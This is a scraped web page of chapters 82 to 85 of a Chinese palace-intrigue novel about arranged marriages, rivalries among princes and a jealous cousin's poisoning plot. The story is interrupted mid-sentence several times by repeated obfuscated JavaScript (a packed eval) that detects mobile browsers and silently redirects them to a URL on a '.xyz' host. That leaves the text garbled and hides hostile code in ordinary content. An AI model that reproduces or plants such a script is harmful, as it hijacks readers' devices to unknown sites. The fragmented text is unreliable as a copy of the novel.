RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620103|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶真心生疑窦,叫来马车,悄然尾随其后。 她发现姜姝宁径直前往姜氏祠堂。 为不被凌芜发现,她绕至祠堂侧门,蹑手蹑脚跟在姜姝宁身后。 祠堂内,姜姝宁跪在姜天恩牌位前,神色肃穆虔诚。 “大哥,三皇子此行西榆,定然在劫难逃!届时,您在九泉之下,也可瞑目了!” 说完,她倾倒一杯清酒于地,恭敬叩拜,动作虔诚而庄重。 这一幕,令姜瑶真毛骨悚然,心底寒意骤生。 姜姝宁为何对着姜天恩的灵位说出那番话? 莫非,她要对三皇子不利? 绝不能让她得逞! 姜瑶真不敢耽搁,立即离开祠堂,戴好面纱,匆匆登上马车,直奔春香楼而去。 自从凝香入宫后,三皇子萧修湛又在春香楼寻捧红了一位名为“红樱”的花魁。 此女舞姿妖娆,媚骨天成,一举一动皆令人心旌摇曳。 姜瑶真抵达春香楼后,故技重施,直接跃窗而入。 萧修湛正看舞看得兴起,见她蒙面闯入,以为她脸上疮疤未愈,眸中闪过一丝厌烦:“你来此作甚?这春香楼岂是你能随意进出的地方?” 姜瑶真的姨娘当年便是春香楼的歌伎,对这里的构造早已烂熟于心。 她手中握有春香楼的详细布局图,出入自然易如反掌。 “臣女有要事禀告。”她缓缓摘下面纱,露出那张光洁无瑕的脸庞。 萧修湛见她脸上那些可怖的疙瘩已然消失,顿时变得和颜悦色起来。 他挥手示意红樱退下,这才笑着说道:“姜二姑娘有话但说无妨。” “殿下,臣女的姐姐姜姝宁至今仍对大哥姜天恩的死耿耿于怀,甚至将一切罪责归咎于殿下。今日,臣女无意中听到她在祠堂内,对着大哥的灵位,说出‘三皇子此行西榆,在劫难逃!’这等大逆不道之言!臣女担心姐姐会对殿下不利,还请殿下务必小心提防!” 听到这话,萧修湛放声大笑,语气轻蔑:“你姐姐并非大逆不道,而是痴人说梦!本皇子岂是她跪拜灵位、诅咒几句,便能轻易陷害的?” 第82章 顾亦庭求娶 第八十二章顾亦庭求娶 姜瑶真见他并不将此事放在心上,心中更加焦灼。 “殿下万不可轻敌!如今四皇子与五皇子皆对姐姐言听计从,若是她铁了心要陷害殿下,定能找到帮手!” “就凭他们?”萧修湛眉宇间满是不屑,“即便他们联手,也休想在这剿匪行动中伤我分毫!” 见他如此成竹在胸,姜瑶真反而生出几分疑虑。 “殿下,臣女听闻西榆的匪徒并非寻常贼人,而是西洲国的溃兵残将,个个凶悍残暴,难道殿下便不怕此行凶险吗?” 西榆地处大邺与西洲交界,乃是两国边陲重镇,常年饱受西洲兵祸侵扰,百姓苦不堪言。 西洲地势险要,易守难攻,大邺虽屡次兴兵征讨,却始终未能将其攻克。 后来,传闻有不少西洲士兵趁乱潜入西榆,落草为寇,啸聚山林,成为当地一大祸患。 萧修湛闻言,轻笑出声,指尖轻柔地划过她白皙如玉的脸庞:“若本皇子是那等贪生怕死之徒,姜二姑娘还会倾心于我吗?” 姜瑶真故作娇羞,垂下眼帘:“臣女自是知晓殿下英明神武,无惧那些乌合之众。可臣女毕竟是您的未婚妻,怎能不为您的安危担忧?” “你究竟在怕什么?”萧修湛指尖在她脸颊上暧昧地游走,语气带着几分戏谑,“莫非是怕本皇子命丧匪巢,让你年纪轻轻便要守寡?” “殿下慎言!”姜瑶真急忙伸手捂住他的嘴,美目圆睁,似嗔似怒。 萧修湛唇角的笑意愈发深邃,他反手扣住她的手腕,一边轻吻她的青葱手指,一边诱哄道:“若是真怕,不如给本皇子怀个孩子,届时就算本皇子有个万一,有腹中的孩儿傍身,你永远都是名正言顺的三皇子妃!” 姜瑶真虽觉得他的话不无道理,可转念想到自己身上还中着萧凌川下的毒,怕对子嗣不利,便佯装羞恼,一把推开他,嗔道:“殿下莫要这般轻薄,臣女绝非如此随意之人!” 萧修湛向来见惯了投怀送抱的女子,她这般欲拒还迎的姿态,反倒令他更加心痒难耐。 他忍不住在她娇嫩的脸颊上落下一吻,柔声道:“真儿放心,我定会凯旋而归,让父皇亲眼看看,谁才是他最有能耐的儿子!” 姜瑶真顺势抱住他劲瘦的腰,将头埋入他结实的胸膛,轻声呢喃:“真儿等殿下归来,功名利禄皆是过眼云烟,真儿只愿殿下能够平安归来便好!” —— 自从三皇子主动请缨,领命剿匪,姜姝宁便日日掐算着他启程之期。 为仇敌默数着走向黄泉的日子,别提多快意了! 今生少了阿蒙那般悍勇之人替他挡刀,萧修湛定会葬身于西榆匪窝,尸骨无存! 然而,还未等到萧修湛启程,姜姝宁就等到了一个让她既震惊又恶心的消息——顾御史竟亲自登门,为他的独子顾庭提亲,指名道姓要迎娶她。 这可把她和姜丞相都恶心坏了。 若非顾忌顾御史在御史台的权势,以及他那张颠倒黑白的嘴,姜丞相恨不得立刻将他轰出相府。 两家素来交恶,这顾御史心知肚明,如今竟上门提亲,简直厚颜无耻。 姜姝宁被唤至厅堂,会见这位当今太子的亲舅舅。 她开门见山地问:“顾大人,您确定令郎想要求娶的人,是我?” 顾御史笑着答道:“那是自然!你那妹妹不是早就与三皇子殿下定下婚约了吗?如今相府只剩下你这么一位待字闺中的女儿,庭儿要娶的,自然是你姜姝宁!” 姜姝宁声音陡然变得冰冷:“顾大人,恕我直言,我实在看不出令郎对我有半分情谊。若这是您的意思,我劝您还是不要强行乱点鸳鸯谱,最好先问过他的意思。” “姜姑娘请放心,这的确是庭儿的心意。他还特意托老夫带一份礼物给你,你看看是否喜欢。”顾御史说着,便要从宽大的袖袍中取出礼物。 “不喜欢!”姜姝宁语气生硬,斩钉截铁地拒绝道。 “老夫还未将礼物拿出……” “顾大人,我的意思很明确,我不喜欢令郎顾庭。无论他送什么样的礼物给我,我都绝不会接受这门亲事,还请顾大人请回吧!恕不远送!”姜姝宁丢下这句话便起身,头也不回地离开了厅堂。 顾御史错愕不已,连连叹息:“哎,你这个孩子怎么……” 一旁始终沉默不语的姜丞相开口道:“顾大人,您也看到了,小女对令郎并无爱慕之意。既然如此,婚姻之事强求不得,您还是请回吧!” “姜大人此言谬矣!这缔结婚姻,最不重要的便是男女之情,此物最是靠不住!”顾御史意味深长道,“结亲结的是利益,是人脉,是家族的兴盛!老夫不妨打开天窗说亮话,从前大人您鼎力支持三皇子,可若非他苦苦相逼,令郎又怎会丧命?难道大人真的要一条道走到黑,继续扶持他上位吗? 我顾家想与你姜家结亲,一方面是觉得两个孩子年纪相仿,也算得上是天作之合;另一方面,这亲事若成,太子殿下便能名正言顺地成为相府的坚实后盾,为姜家遮风挡雨。难道,姜大人当真一点都不为之心动吗?” 听到这番话,姜丞相的神色终于出现了一丝动摇。 想当初,他可是朝堂之上最为坚定的三皇子党羽,在皇帝提出“废长立贤”的惊世之举时,他也是第一个站出来拥护的。 他一直对萧修湛寄予厚望,认为他无论是才学谋略,还是武功韬略,亦或是背后的母族势力,都完全符合一位明君圣主的标准与要求。 可谁曾想到,自己唯一的独子,竟然会惨死于这位他曾极力拥护的三皇子之手! 昔日对萧修湛有多支持,如今就对他有多恨之入骨! 若要与他抗衡,最明智的选择,的确是转而投靠太子。 姜丞相犹豫片刻后说道:“只是宁儿手中握有太后娘娘亲赐的懿旨,她的婚姻大事可由自己做主,莫说是外人,就是我这个做父亲的,也难以干涉啊。” “姜大人此言差矣,令嫒不肯,您可以耐心劝导嘛!毕竟是父女,血浓于水,总能说得通的!”顾御史笑容可掬,“老夫已经将太子殿下的意思带到了,接下来如何抉择,就全看姜大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620104|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的了!想必大人心中自有决断。 你我二人在朝堂之上争斗了大半辈子,也是时候握手言和,化干戈为玉帛了!相信老夫,这门亲事一旦结成,对姜顾两家而言,都百利而无一害!” —— 姜姝宁回翠竹院的路上,见到了迎面而来的姜瑶真。 她脸上带着幸灾乐祸的笑,阴阳怪气道:“大姐姐可真是魅力无边,不仅四皇子和五皇子对你倾心不已,就连顾庭公子也上赶着求娶于你。姐姐,你究竟施展了什么迷惑人心的手段,竟能让这些男子都围着你团团转啊?” 姜姝宁冷睨了她一眼:“是你暗中搞的鬼吧?那顾庭公子心悦之人明明是你,为什么会突然来求娶我?” “这可说不准呢,或许是因为姐姐你尚未与人订下婚约,这才给了他能求娶的希望吧?话说回来,姐姐你当初执意向太后讨要那道婚姻自主的懿旨,是不是早就存了心思,想要看男子们为了求娶你而争得头破血流,你从中作壁上观,享受众星捧月的滋味?这种虚荣,想必让姐姐很过瘾吧?” 姜姝宁还未来得及反唇相讥,一道清亮的少年声便在不远处响起:“大姐姐聪慧贤淑,容貌倾城,厨艺精湛,自然会有无数男子倾慕追求,怎么到了二姐姐口中,就变得如此不堪入耳?二姐姐的想法如此匪夷所思,莫不是在以己度人?” “你……”见姜天泽处处维护姜姝宁,姜瑶真气得银牙紧咬,恨恨地跺了跺脚,“懒得跟你们争辩!简直是浪费我的时间!” 说完,她便气冲冲地转身离去。 姜天泽上前几步,宽慰姜姝宁道:“大姐姐不必跟她一般见识。” 姜姝宁不以为然:“不过是些冷嘲热讽罢了,你放心,她那点伎俩,还伤不了我。” “那今日顾家公子上门提亲一事……” “我已经明确拒绝了,父亲也不会答应这门亲事的。” 姜姝宁一想起顾庭平日里跟在姜瑶真身后那副摇尾乞怜的模样,心里就一阵阵的恶心。 他是跟自己究竟有多大的仇怨,竟让顾御史跑到丞相府来提亲,也不嫌膈应人。 听到她的回答,姜天泽这才如释重负地松了口气,笑着说道:“那就好。那顾庭公子压根配不上大姐姐。” 就在此时,姜丞相神色复杂地走了过来。 “父亲,顾御史已经回去了吗?”姜姝宁迎上前去问道。 姜丞相看着她,斟酌了片刻,才缓缓开口道:“宁儿,关于你和顾家公子的婚事,父亲希望你……再认真地考虑考虑。” 姜姝宁一听这话,脸色顿时骤变。 —— 姜天泽脚步匆匆地赶回了西院。 他一把推开姜三夫人的房门,急切道:“母亲,请您给我一种无人知晓、能让人在痛苦煎熬中悄无声息死去的剧毒!” 姜三夫人闻言,不由得一愣:“天泽,你要这种毒物做什么?” 姜天泽那张俊美无俦、靡丽动人的脸庞上,竟浮现出一丝与他年龄极不相称的阴鸷与诡异:“我打算……送顾家的那位顾庭公子下地府!” 第83章 一语成谶 第八十三章一语成谶 “大伯竟然要将姝宁嫁给顾家公子?”姜三夫人满脸难以置信,继而安抚道,“大伯和那顾御史是势同水火的死对头,他怎么可能将自己女儿嫁到仇人家中?依我看,这桩婚事多半是成不了的!” “母亲,大哥天恩死于三皇子之手,大伯如今自然只能转而投靠太子,这姜顾联姻便是投名状。顾御史是太子亲舅舅,这层关系,大伯不会不明白。” 姜天泽的眉宇间笼罩着一层阴郁,语气森然,“不管大伯是为了自保还是为了复仇,总之,我绝不允许任何人娶走大姐姐!所以,那顾亦庭,必须死!” 姜三夫人沉声道:“好,就依你。只是这配置新的剧毒,需要耗费一些时日,你得耐心等待才行。” “无妨,只要能赶在顾亦庭与大姐姐的婚宴之前制备妥当便好。”姜天泽的嘴角勾起一抹阴冷的笑,“届时,我便将这无色无味的剧毒,神不知鬼不觉地投入那顾亦庭的酒菜之中,让他连洞房花烛夜都等不到,便一命呜呼!” “可是……你这样做,你大姐姐岂不是要背负上克夫的恶名?”姜三夫人略有些担忧地提醒道。 “我要的,就是这个结果!”姜天泽的语气平静得可怕,甚至带着几分隐隐的期盼,“如此一来,这世上就再也没有人敢上门求娶大姐姐,她也便能顺理成章地留在相府,与我朝夕相处,长相厮守。” 姜三夫人看着儿子这幅病态而偏执的模样,心中不免一阵心惊肉跳。 “天泽,你就不怕她知道真相后,会对你心生怨恨,恨你入骨吗?” “母亲,您不懂。恨与爱一样,都是一种在意,一种深刻情感的羁绊。”姜天泽的脸上浮起一抹阴鸷的笑,语气中透着一股令人毛骨悚然的疯狂,“如果今生注定得不到她的爱,那么,能得到她的恨,也是好的。” —— 姜姝宁此刻尚不知晓,那个平日里温润如玉的三弟,心中正对她滋生着怎样一种扭曲而疯狂的占有欲。 她正与姜丞相对面而坐,神色凝重。 “父亲若想转而支持太子,女儿并不反对。但支持太子,也并非一定要与顾家联姻。” “宁儿,你误会了,我并非支持太子,只不过不想让三皇子那种穷凶极恶之人主宰这大邺的江山社稷!”说到此处,姜丞相的双目泛红,语气中充满了悲愤,“否则,等将来我到了九泉之下,到了阴曹地府,该如何面对我那可怜的恩儿啊!” 姜姝宁闻言,也不禁眼眶发潮。 丧兄之痛,如同一把尖刀,日日夜夜地剜割着她的心脏,让她寝食难安。 她与父亲一样,无时无刻不在承受着失去至亲的巨大痛苦,恨不得将那罪魁祸首萧修湛**万段! “父亲,请您再给女儿一些时间,女儿一定会让您亲眼看到三皇子那个恶徒的悲惨下场,让他以血祭奠大哥在天之灵!”她目光晦涩,“不日他便将奉旨启程前往西榆剿匪,待他抵达匪巢那日,便是他的死期!” 姜丞相听到这番话,顿时大吃一惊。 “宁儿,你究竟想要做什么?他可是当今皇子,你万万不可做出什么不理智的事情来!” “父亲请放心,女儿不会鲁莽行事,更不会派人去暗杀他。”姜姝宁声音里透着几分笃定,“若他真的**,那也是他的报应!” 看着女儿这幅胸有成竹的模样,姜丞相心中反而有些不安起来。 可转念一想,姜姝宁并非鲁莽行事之人,她既然如此笃定,想必是已经有了万全之策。 如果萧修湛当真难逃此劫,那么他又何必牺牲女儿的幸福,强行将她嫁入顾家呢? 想到这,姜丞相下定决心,缓缓道:“既然如此,那这桩婚事,我便先帮你回绝了。一切,等三皇子剿匪归来之后,再做决断。” “谢父亲!”姜姝宁唇角微勾,脸上浮起一丝胜券在握的笑意。 她很想立刻告诉父亲,萧修湛是绝对不可能活着回来了。 可她又担心父亲会追根究底,只能先忍着不说。 顾御史回到府中,顾亦庭连忙迎上前去,迫不及待地问:“父亲,姜丞相可应允这门婚事了?” “哼,由不得他不答应!如今的姜家,已是腹背受敌,他们还有选择的余地吗?”顾御史胸有成竹道,“三皇子可不是什么心慈手软的善类,姜丞相就算不为自己考虑,也得顾及姜家上上下下几百口人的性命,转而投靠太子殿下,寻求庇护。他们应下这桩婚事,不过是早晚的事罢了!” 听到父亲肯定的答复,顾亦庭悬着的心终于放了下来:“如此便好。” 顾御史看着儿子,眼中多了几分赞赏:“亦庭,为父知道,你并非真心喜欢姜家嫡女,你之所以主动提出和姜家结亲,完全是为了太子殿下的宏图大业,以及顾家的未来着想。为父甚感欣慰!你终于长大了,懂事了!往后顾家声望的壮大,定然有你一份功劳!” 顾亦庭脸上掠过一丝心虚,他连忙垂眸,掩饰住眼底的真实情绪。 “父亲谬赞,孩儿愧不敢当。” 事实上,他执意求娶姜姝宁,不是为了顾家,更不是为了太子,而是为了姜瑶真。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620105|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他要让姜姝宁尽快“名花有主”,以免她继续周旋在各个皇子之间,破坏姜瑶真与三皇子的姻缘。 只不过,他的这番私心,倒是歪打正着,正好与父亲和太子的意愿不谋而合罢了。 听说顾亦庭要娶姜姝宁,顾晚樱着实惊讶不已。 “你要娶姜姝宁?你不是一直对姜瑶真情有独钟吗?怎么突然移情别恋了?”顾晚樱追问道。 顾亦庭脸色顿时一沉:“慎言!姜二姑娘如今是准三皇子妃,你这般口无遮拦,会毁了她名声的!” “她那种人,还有什么名声可言?”顾晚樱不屑地冷哼一声,“你都不知道,她私底下有多爱招蜂引蝶!她仗着自己有几分姿色,就恨不得让所有男人都围着她转!哥哥你幸好是要娶姜姝宁,要是真把姜瑶真那种女人娶回来,我敢保证,她迟早会做出见不得人的丑事,到时候我们顾家的脸都要被她丢光了!” “住口!”顾亦庭勃然大怒,厉声呵斥道,“你这样肆意诋毁他人,哪里还有半点未来太子妃的端庄仪态?” “哥,你这么生气做什么?我只是实话实说罢了!”她顿了顿,忽然秀眉微蹙,试探性地问道,“你该不会还喜欢姜瑶真吧?” “姜二姑娘容貌出众,才艺双绝,我喜欢她,有何不可?”顾亦庭并不打算掩饰自己对姜瑶真的欣赏和爱慕。 顾晚樱难以置信地瞪大了眼眸:“既然你喜欢姜瑶真,为什么还要求娶姜姝宁?哥,你疯了吗?” “我这么做,自然是为了……为了帮你的太子殿下拉拢姜家,巩固太子的势力!”顾亦庭连忙找了个冠冕堂皇的理由,以掩饰自己内心的不齿目的。 “况且,我作为顾家的独子,将来是要继承家业的,自然要娶一位门当户对的主母进门!相府嫡女身份尊贵,当然是最佳的求娶对象!” 顾晚樱对兄长的这番说辞嗤之以鼻。 “哥,你求娶之心如此不纯,小心将来会遭报应!” 没想到,这句玩笑话竟一语成谶。 皇宫景和宫里,听闻顾亦庭准备求娶姜姝宁一事,萧凌川盛怒之下,将茶盏摔了个粉碎。 “顾亦庭,他也配?!”他澈黑的眼眸阴沉得可怕。 一旁的七皇子萧琪钰宽慰道:“姜顾两家素来不合,姜丞相不会答应这门亲事的!再说了,姜姑娘有皇祖母的懿旨,没人能决定她的终身大事,四哥,您就放心吧!” “不,我要让顾亦庭明白,自不量力,也是要付出代价的!” 萧凌川桃花眸里戾气翻涌,宛如地狱修罗一般,令人不寒而栗。 第84章 敢抢本皇子的女人 第八十四章敢抢本皇子的女人 翌日,顾亦庭被萧凌川召入皇宫。 不知为何,一踏进景和宫,他便觉得四周弥漫着一股令人窒息的低气压,让他连喘息都觉得费劲。 尤其是萧凌川投向他的目光,如同淬了毒的利刃一般,充满了煞气,锋利可怖,仿佛能瞬间将他穿透。 顾亦庭绞尽脑汁,也想不出自己究竟何处得罪了这位喜怒无常的四皇子。 上次无意中撞见他和姜瑶真的私会,也是让姜姝宁出面制止,他压根不敢当面招惹这位性情阴郁的皇子。 “在下顾亦庭,见过四皇子殿下。不知殿下召见在下,所为何事?”他战战兢兢地行了个礼。 萧凌川神色冰冷地审视了他片刻,嘴角忽然勾起一抹嘲讽的弧度,嗤笑出声:“本皇子听说,你打算求娶姜府的嫡长女姜姝宁?” 顾亦庭闻言一愣,没想到萧凌川消息竟如此灵通。 他不敢有丝毫隐瞒,如实回答道:“确有此事。家父一直希望在下能早日成家立业,迎娶一位门当户对的贤淑女子。姜姑娘与在下年纪相仿,端庄贤淑,温婉可人,所以……” “你也配?!”萧凌川忽然怒吼一声,将手中的把玩的茶杯猛地扔到他脚边,上好的瓷器瞬间四分五裂,发出令人毛骨悚然的破碎声。 这突如其来的暴怒让顾亦庭脸色煞白。 “殿下息怒!在下不知自己做错什么,还请殿下明示!” 萧凌川怒气未消,他俯视着顾亦庭,语气阴鸷:“敢跟本皇子抢女人,顾亦庭,你当真勇气可嘉!” 顾亦庭一愣,一时间竟有些消化不过来。 他要求娶的是姜姝宁,可四皇子说,他在跟他抢女人。 所以,四皇子心悦之人竟是……姜姝宁?! 意识到这点的他慌忙下跪:“殿下息怒,在下实在不知姜姑娘原来是殿下心仪之人,是在下不自量力,请殿下恕罪!” “顾公子勇气可嘉,何罪之有?”萧凌川脸上怒意尽褪,取而代之的是一种令人捉摸不透的玩味笑容。 他慢条斯理地说道,“不过,不过,顾公子的这份勇气应该用在更合适的地方,才不至于白白浪费。不如就随我三哥一同前往西榆剿匪吧,也好将你这多余的勇气好好磨砺一番!” 这话简直如晴天霹雳,瞬间将顾亦庭震得魂飞魄散。 他浑身颤抖得更加厉害,脸色也变得惨白如纸:“殿下,在下实在不堪大用啊!在下不懂拳脚功夫,去了只会拖三皇子的后腿!” “顾公子太谦虚了,你勇气过人,就算没有拳脚功夫也定能勇闯匪巢。我已经将此事禀明父皇,相信很快,你们顾家便会收到圣旨。顾公子还是抓紧时间,好好准备一下启程事宜吧!” 顾亦庭知道萧凌川动了真格,连忙拼命磕头:“求殿下收回成命!求殿下开恩!” 可他把额头都磕破了,萧凌川依旧无动于衷。 “来人,将顾公子送出宫去。”萧凌川语气淡漠地吩咐道,“他不久之后便要启程西行,还得给他留出一些时间,让他好好准备行囊,与家人道别才是!” 顾亦庭失魂落魄地回到顾府。 没想到刚踏进顾府大门,圣旨就来了。 顾家人跪了一地,内侍用尖细的嗓音念到: “奉天承运,皇帝诏曰: 朕闻西榆之地,匪患猖獗,百姓苦不堪言。 顾御史之子顾亦庭,年少有为,才华出众,朕甚为嘉许。 今特召顾亦庭,随三皇子一同西行,协助剿匪事宜,以彰显朕对忠良之后之器重,亦期望他能在此次行动中建功立业,为大邺作出贡献。 钦此!” 顾亦庭还没听完圣旨,便眼前一黑,直接晕厥了过去。 醒来时,顾母在一旁哭哭啼啼:“这究竟是造了什么孽啊!庭儿明明是个手无缚鸡之力的文弱书生,陛下怎么会突然下旨,让他跟随三皇子殿下一起前往西榆剿匪呢?这分明就是要逼他去送死啊!” 顾亦庭气若游丝:“母亲,父亲呢?” “他去找陛下求情,恳请陛下收回成命。”顾母紧紧地握着他的手,哽咽道,“儿啊,你放心,你可是我们顾家唯一的命根子,你父亲无论如何,都不会让你去冒这个险的!” 顾亦庭心中顿时燃起一丝希望:“对,父亲一定可以说服陛下,让我不用跟着去剿匪的!” 一旁的顾晚樱眉头紧锁:“陛下怎么会突然让哥哥你一个文弱书生去剿匪?究竟是谁给陛下出的馊主意?” 顾亦庭欲哭无泪:“是四皇子殿下。原来他心悦之人是姜姝宁,听我想求娶姜家嫡长女,便立刻把我召进宫里,狠狠地羞辱了一顿!这还不够,他竟然还撺掇陛下,让我跟随三皇子前往西榆剿匪,这分明就是要将我往绝路上逼啊!” 顾晚樱听了,无奈地摇了摇头,叹息道:“哥,我早就跟你说过,你求娶姜姝宁的动机本就不纯,肯定会遭到报应的,只是没想到,这报应竟然来得如此之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620106|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快!” 萧凌川如今圣眷正隆,深受皇帝器重,他的话,陛下自然言听计从。 得罪了这样一位心狠手辣的主儿,哥哥也只能怪自己时运不济,认栽了! 顾御史跌跌撞撞去了御书房,皇帝正凝神作画,见他到来,似有所料,脸上浮起一抹若有若无的嘲讽:“顾大人今日前来,莫非又要进谏?” 顾御史顾不得行礼,急声道:“陛下,臣今日并非进谏,而是有一事相求。” “哦?难得顾大人也有求朕之时,说吧,何事?”皇帝这才放下画笔,目光淡淡地扫了他一眼。 “陛下,臣恳请您收回成命,免了犬子亦庭的剿匪之行!犬子手无缚鸡之力,此去西榆,非但无益,反会成为三皇子殿下的累赘!”顾御史伏地叩首,语气悲切。 皇帝轻笑一声:“顾大人多虑了。西榆剿匪乃国之大事,朕岂会不知令郎乃文弱书生?此番让他随行,并非要他冲锋陷阵,而是让他见识一番,增长阅历。待得凯旋之日,朕自会**行赏,授他一官半职,以为朝廷效力!” 顾御史面色惨白,犹豫片刻,猛地跪倒在地:“陛下美意,臣感激涕零!然犬子自幼体弱多病,不堪劳顿,又乃顾家独苗,若有不测,臣顾家便要绝后矣!恳请陛下怜悯!” 这番话令皇帝脸色骤寒,语气也变得凌厉起来:“顾大人的儿子是宝贝,难道朕的儿子就不是了吗?剿匪是利国利民的大事,朕的老三尚且不畏艰险,主动请缨,顾大人却舍不得令郎吃一点苦头!朝廷供养你们,难道是让你们临阵退缩的吗?” 顾御史连忙叩首,惶恐道:“陛下息怒!臣绝无此意!” “罢了。”皇帝语气稍缓,“念你往日劳苦功高,朕不予追究。但西榆剿匪一事,令郎必须去!这是朕给顾家一个建功立业的机会,莫要辜负朕的期望!” 顾御史见事已至此,无力回天,只得含泪谢恩,退出了御书房。 皇帝望着他离去的背影,冷哼一声:“平日里进谏的时候,不是挺能言善辩吗?如今也让你尝尝这般低声下气的滋味!” 一旁的大总管陈顺见状,连忙奉上一杯香茗,谄媚道:“还是四皇子殿下英明,此计甚妙,既挫了顾御史的锐气,又能在三皇子殿下身边安插一个眼线,真是一箭双雕啊!” 皇帝面露愉悦之色:“老四确实深得朕心!去,宣苏美人来,朕批阅奏折乏了,想闻闻美人身上的香气,舒缓一下心情!” “奴才遵旨!”陈顺躬身应道。 第85章 醉酒娇憨 第八十五章醉酒娇憨 御书房内,暗香浮动。 凝香娇弱无力地卧在案前,香汗淋漓,透着几分靡靡风情。 皇帝心满意足地靠在椅背上,轻佻地捏了一把她腰间的软肉,有些意犹未尽道:“苏美人天生异香,着实令朕欲罢不能。若非朝堂上那群老家伙死盯着敬事房不放,朕恨不得夜夜都翻你的牌子。” 他虽后宫佳丽万千,却没有一个如苏美人这般风情万种,不仅身带异香,更深谙闺房之乐,让他难以自拔。 凝香起身,含羞带怯地穿着衣服:“得陛下宠爱,是妾身十世修来的福气。” 她本就受过专门的调教,就连穿衣都带着几分欲拒还迎的魅惑。 皇帝看得心口发热,一把将她拉到自己腿上来,迫不及待地想要一亲芳泽。 凝香用手指抵住他的唇,神色柔媚:“陛下今日兴致颇高,难道是有什么喜事?不如说来给妾身听听,也好让妾身跟着一起高兴高兴?” 皇帝朗声大笑:“还是爱妃最懂朕的心思!今日朕狠狠地挫了挫那顾御史的锐气,那老东西跑来求朕,想让朕收回让他儿子随老三一同前往西榆剿匪的成命,朕自然是断然拒绝!看他哭丧着脸,如丧考妣般退下,朕心里别提有多痛快了! 你不知道,那老家伙平日里在朝堂之上,仗着资历老,没少指桑骂槐地讽刺朕,简直目中无人,嚣张至极!朕早就想好好教训他一番了!” “陛下英明。”凝香娇媚一笑,眼波流转,“三皇子殿下此番领兵前往西榆,定然劳苦功高,陛下难道不该给他赏赐,以示恩宠吗?” 皇帝眸光一凛,骤然捏住她的下巴,笑容玩味,却丝毫没有温度:“老三尚未立功,朕如何给赏赐?苏美人,你是不是太着急了?” 凝香故作惊慌,长长的睫毛微微颤动,如受惊的小鹿般楚楚可怜:“妾身该死,是妾身僭越,还请陛下恕罪!” “好了,你先退下吧,朕有些乏了。”皇帝漫不经心地挥了挥手,语气淡淡道,“让陈顺进来伺候朕更衣。” “是,陛下!”凝香连忙整理好衣衫,一副惊恐不安的模样,匆匆退出了御书房。 在她转身的那一瞬间,脸上却掠过一丝得逞的狡黠笑意。 待凝香走后,皇帝一边让陈顺伺候自己穿衣,一边语气冰冷地吩咐道:“给朕暗中查一查,老三和苏美人之前是否相识!” “奴才遵命!”陈顺连忙应道。 皇帝的眼底,闪过一丝令人胆寒的戾气。 若老三竟敢将手伸到他的后宫之中,那就实在太放肆了。 这样的皇子,本事越大,对他的威胁越大。 他的皇子必须是唯命是从的臣子,而不是觊觎皇位、随时准备取而代之的储君! —— 顾亦庭终究难逃此劫,被迫踏上了西行的征程。 临行前,他依依不舍地向顾母嘱托道:“我埋在后院的那坛桃花酿,若是林兄来了,就替我赠与他吧,他嗜酒如命,我早已答应要送给他。” “书房里那方江南砚台,是我特意为老师购置的,记得务必送到老师府上,以表我的敬师之情。” “还有我那些珍藏的字画……” 一旁送别的顾晚樱听得心烦意乱,忍不住抱怨道:“哥哥,这些琐事等你平安归来再做也不迟啊,何必如此絮絮叨叨,徒增伤感?” 顾亦庭闻言一怔,这才猛然意识到,自己方才所言,竟句句都像是在交代后事一般。 他顿时如坠冰窟,一股莫名寒意从脚底直窜脑门,心中涌起强烈的不安。 顾母也察觉到了他的异样,紧紧握住他的手,关切地问道:“庭儿,你这是怎么了?莫不是身子不适?” “母亲,别理他,他就是故意拖延时间罢了!”顾晚樱没好气地说道,“哥哥,三皇子和剿匪大军都在等着你呢,误了时辰,可是要治罪的!快些上路吧!” 顾亦庭只得强行压下心中那挥之不去的不祥预感,与顾母和妹妹挥手作别。 顾御史因忧心此事,已经一病不起,如今还在缠绵病榻。 他们顾家妄图求娶姜姝宁一事,彻底触怒四皇子。 如今除了谨遵圣旨,随军西行,已然没有其他的退路可言了。 马车内,萧修湛轻掀车帘一角,目光冷冽地落在不远处那单薄身影上。 只见顾亦庭手提包裹,步履谨慎地登上另一辆马车。 萧修湛身旁的随从压低声音道:“殿下,陛下执意让顾御史的独子随行,莫不是想在殿下身边安插眼线?” 